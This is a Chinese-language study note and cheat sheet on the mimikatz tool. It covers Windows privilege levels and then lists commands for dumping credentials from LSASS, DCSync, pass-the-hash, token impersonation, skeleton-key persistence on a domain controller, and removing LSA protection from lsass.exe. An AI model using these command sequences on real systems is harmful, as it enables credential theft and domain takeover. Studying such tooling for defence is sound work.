mimikatz简单使用手册
mimikatz起码得是个管理员权限跑起来才有用
调用模块内命令的语法是Module::Function
,需要加参数的话为/arg:value
简单记录一下常用模块的常用命令
前置知识
先提一点点关于windows权限的东西作为前置知识
用户账户等级
Windows中的账户分为如下几个等级
使用net user
命令可以查看本地所有账户,net user username password
可以改密码,最后再加个/add
可以添加用户(靠这个加了个低等级用户)
- SYSTEM
- Administrators
- Administrator
- 管理员账户
- Users
- 标准账户
同样,权限对应分为几个等级
- 标准账户
- System
- High
- Medium
- Low
SYSTEM约等于Linux系统中的root,象征最高权限,为系统服务对应的权限,Administrators组对应High权限,Users对应Medium权限,Low是某些超低权限软件用的。
但管理员分两类,Administrator和管理员账户,Administrator启动的全部进程均为High权限,而普通管理员启动的进程为Medium权限,需要通过UAC来提升至High权限
UAC
User Account Control
Administrator是超级管理员,启动的进程均为High权限,其他用户就算拥有管理员权限,也需要右键以管理员身份运行
,否则就是普通用户,且还会弹出来一个框让你确认是否允许该程序修改设备,这个就是UAC,在工作组环境中,管理员可以执行远程命令,但是普通管理员就因为会被UAC拦下而无法执行,需要进行额外操作
LSASS
即Local Security Authority Subsystem Service,本地安全认证子服务系统
sass.exe是微软本地安全认证服务进程,负责用户标识认证和强化安全的。 它检查登陆进Windows的用户,处理变更密码和建立访问信息,包括基本的安全信息。 它也被管理员用来更新密码和用户档案。
简单点说就是各种各样的凭据都和它相关,所以大家都喜欢打这个服务
something else
说起来DC上好像没有本地账户?登录本地就没成功过,AD安装完之后所有本地账户都变成了域账户,Administrator在整个域上都拥有管理员权限,在DC上新建用户全都是新建域用户
微软官方文档有这么一句话但感觉也有一点读不顺。。。
在安装Active Directory 域服务之前,只能在域控制器上创建本地用户帐户,之后不能创建。
暂且认为就是域控上没得本地账户吧
privilege
权限模块,感觉常用的就一个debug
privilege::debug
需要管理员权限
获取debug权限,搞密码等各种操作的必备前置指令,将该进程的权限提升,管理员账户均拥有Debug权限,但是依旧需要运行“privilege::debug”进行激活。如果报错ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061
则是拥有管理员权限的普通账户没有以”管理员身份运行”。普通账户直接拉倒。
下文的需要管理员权限均指需要输入privilege::debug
lsadump
Mimikatz 的 LSADUMP 模块用于与 Windows 本地安全验证(Windows Local Security Authority )(LSA) 进程进行交互来提取凭证数据。
就会用这两个,剩下的因为一无所知所以看不懂
lsadump::DCSync
需要域管理员权限,不需要本地管理员了,在非域控机器上登录一个域管理员账户(非本地管理员)即可执行
向DC要一个号的密码
参数
/user 要密码的用户名或sid,/all就是要全部的
/domain域名,不填默认为当前域
lsadump::LSA
导出全部凭证,需管理员身份
/inject - 注入 LSASS 进程提取凭证数据
/name - 目标用户账户的帐户名称
/id - 目标用户账户的 RID
/patch - 补丁 LSASS 进程
RID为502的帐户是KRBTGT帐户,RID为500的帐户是默认的域管理员账户。
感觉和上面的DCSync没什么区别?就权限一个是本地管理员一个是域管理员?
misc
杂项命令
misc::cmd
开一个命令行
misc::taskmgr
开一个任务管理器
misc::regedit
开一个注册表编辑器
这三个命令在管理员禁止使用这三个东西的时候可以硬开出来
misc::addsid
需要管理员权限,将用户账户添加到SIDHistory中,第一个参数为目标账户,第二个值为SID(或账户/组名称)
misc::skeleton
需要管理员权限,在DC上运行,将skeleton密钥注入到LSASS进程中
维持权限的常用手段
使得所有用户可以使用“master Password”(skeleton key)代替原有密码进行身份验证
就是给所有用户添加了一个额外的密码,默认注入密码为mimikatz
,找了一会也没找到怎么制定注入的密码值。。。DC重启后失效(因为只是注入进程内存嘛)
bypass LSA Protection
微软在注册表项中提供了防止对lsass.exe的注入,这时候再尝试会报错ERROR kuhl_m_misc_skeleton; OpenProcess (0x00000005)
mimikatz在配置有miidrv.sys时可以绕过
命令如下
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton
net
信息收集命令
net::user
net::wsession
net::group
之类的
process
收集进程数据并与进程交互
process::list
列出正在运行的进程(和任务管理器有什么区别。。。)原文说要管理员权限但实际上我试了一下不需要
进程操作
PROCESS::Resume - 恢复一个进程
PROCESS::Start – 启动一个进程
PROCESS::Stop – 结束一个进程
PROCESS::Suspend – 挂起一个进程
均以/pid:
为参数
sekurlsa
与内存交互,整个模块需要管理员权限,应该是最常用模块吧
还可使用TOKEN::elevate
获得system权限(但是事实上好像并不好用,不如debug)
sekurlsa::backupkeys
获得备份主密钥(我的机子没设置,均为一大串零)
sekurlsa::credman
列出凭证管理器
sekurlsa::dpapi
列出已缓存的主密钥(但实际运行和上个命令的结果是一致的)
sekurlsa::dpapisystem
输出DPAPI_SYSTEM密文(密钥?)原文为secret
sekurlsa::ekeys
列出kerberos加密密钥
sekurlsa::kerberos
列出所有登录用户的kerberos凭证(包括服务和电脑账户)
sekurlsa::krbtgt
获取krbtgt的全部凭证(当然要在DC上运行啦)
sekurlsa::logonpasswords
我觉得是mimikatz使用最多的命令了(可能比privilege::debug少)
列出所有可用的凭证,windows8.1和windows server2012R2之前的系统会列出明文密码(高版本或打补丁后不会)
sekurlsa::minidump
上下文切换到lsass转储文件,就是读以前倒出来的lsass内存文件
后接一个参数为dmp文件路径
可以通过procdump,Powershell和任务管理器等方式搞定procdump是微软的软件不会被杀,可以用这个dump出来然后发送到本地再用mimikatz读,或者直接任务管理器也可以Create Dump File
sekurlsa::process
和上个命令对应,上下文切换回lsass进程
sekurlsa::msv
列出LM和NTLM凭证
sekurlsa::pth
pass the hash,进行哈希传递
使用一个用户的NTLM哈希上下文启动进程
接收如下参数
/user - 你想进行假冒的用户名,需要明白的是,Administrator 不是唯一一个已知的帐户。
/domain – 域名
/rc4 or /ntlm (可选的) – 指定用户的 RC4 密钥 或 NTLM 哈希。
/run (可选的) – 需要运行的命令行 – 默认为:cmd ,得到一个 cmd shell。
该命令不能与minidumps一起使用
本地测试失败。。。呜呜
sekurlsa::tickets
列出最近所有已经过身份验证的用户的可用的 Kerberos 票证,包括使用用户帐户的上下文运行的服务和本地计算机在 AD 中的计算机帐户。
token
与windows身份验证令牌进行交互,抓取,伪造假冒的已存在令牌
token::elevate
需管理员权限,提升至system权限
可加参数/domainadmin,找到一个域管理员凭证并使用其令牌
token::whoami
显示当前身份
token::list
列出所有令牌
参考链接
Mimikatz非官方指南和命令参考
英文原版(上述翻译版存在
Windows中的UAC账户控制
mimikatz-skeleton key
微软AD官方文档